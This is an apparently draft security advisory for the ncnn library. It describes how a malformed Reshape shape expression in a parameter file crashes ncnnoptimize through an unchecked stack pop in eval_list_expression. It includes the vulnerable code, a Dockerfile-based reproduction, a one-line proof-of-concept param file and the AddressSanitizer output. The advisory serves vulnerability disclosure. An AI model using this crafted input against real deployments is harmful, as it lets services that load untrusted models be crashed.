All advisories
Draft

Malformed Reshape Expression Causes Optimizer Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Malformed Reshape Expression Causes Optimizer Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/expression.cpp:179 in eval_list_expression
Sanitizer verdict: SEGV on unknown address (pc 0x56570724ca32 bp 0x7fff0b64e0a0 sp 0x7fff0b64d980 T0)

Summary

A single-line ncnn parameter file crashes ncnnoptimize while the parameters are still being parsed. A Reshape layer's shape-expression parameter is evaluated as reverse-Polish notation by eval_list_expression, which pops two operands for every binary operator without ever checking that the stack holds them. Supplying the bare expression "+" makes it call std::stack::top() on an empty stack, which is undefined behaviour and faults here. Entry point is ncnn::Net::load_param, reached from ncnnoptimize's main; no .bin file is required.

Detail

The untrusted field is Reshape parameter 6, a quoted string taken verbatim from the .param file into shape_expr. Reshape::load_param evaluates it eagerly, at parameter-load time, to determine the output dimensionality — so the crash happens before any weights, blobs or shapes exist.

eval_list_expression tokenizes the string on (, ) and ,, then scans the token list right to left, pushing operands and folding operators. The operator branch pops exactly two values. The function validates blob indices (returning -1 for an out-of-range Nw/Nh/Nc reference) but performs no arity validation whatsoever: exprstack.size() is never consulted before top()/pop(). For std::stack backed by the default std::deque, top() on an empty container reads from an uninitialized position, which is what the sanitizer catches as a read through a high, non-mapped address.

// src/layer/reshape.cpp:54
    shape_expr = pd.get(6, "");

    // count reference blobs
    if (!shape_expr.empty())
    {
        const int blob_count = count_expression_blobs(shape_expr);
        if (blob_count > 1)
            one_blob_only = false;

        // resolve ndim from expression
        std::vector<Mat> blobs(blob_count);
        std::vector<int> outshape;
        int er = eval_list_expression(shape_expr, blobs, outshape);

// src/expression.cpp:142
    std::stack<typed_value> exprstack;
    for (int i = (int)tokens.size() - 1; i >= 0; i--)
    {
        const std::string& t = tokens[i];

// src/expression.cpp:177
        else if (t == "+" || t == "-" || t == "*" || t == "//" || t == "max" || t == "min")
        {
            typed_value ta = exprstack.top();
            exprstack.pop();
            typed_value tb = exprstack.top();
            exprstack.pop();

The PoC layer line is Reshape reshape 1 1 data out 6="+". Tokenization produces the single token "+"; count_expression_blobs finds no Nw-style references, so blobs is empty and the loop starts with an empty exprstack. On the first (and only) iteration the token matches the operator branch at line 177, and the exprstack.top() at line 179 executes against a stack of size zero. The process aborts inside Net::load_param, so ncnnoptimize never reaches the optimization passes or writes output files.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-reshape-expression-causes-optimizer-denial-of-service && cd ncnn-poc-malformed-reshape-expression-causes-optimizer-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
1 2
Reshape reshape 1 1 data out 6="+"
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name data failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x5c8b736dba32 bp 0x7ffc20019030 sp 0x7ffc20018910 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x5c8b736dba32 in ncnn::eval_list_expression(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<int, std::allocator<int> >&) /ncnn/src/expression.cpp:179
    #1 0x5c8b6e037ae8 in ncnn::Reshape::load_param(ncnn::ParamDict const&) /ncnn/src/layer/reshape.cpp:66
    #2 0x5c8b6a778ca1 in ncnn::Net::load_param(ncnn::DataReader const&) /ncnn/src/net.cpp:1524
    #3 0x5c8b6a7ad29e in ncnn::Net::load_param(_IO_FILE*) /ncnn/src/net.cpp:2177
    #4 0x5c8b6a7ad5d6 in ncnn::Net::load_param(char const*) /ncnn/src/net.cpp:2196
    #5 0x5c8b6a6c0beb in main /ncnn/tools/ncnnoptimize.cpp:2788
    #6 0x73c14b9041c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x73c14b90428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5c8b6a640624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/expression.cpp:179 in ncnn::eval_list_expression(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<int, std::allocator<int> >&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst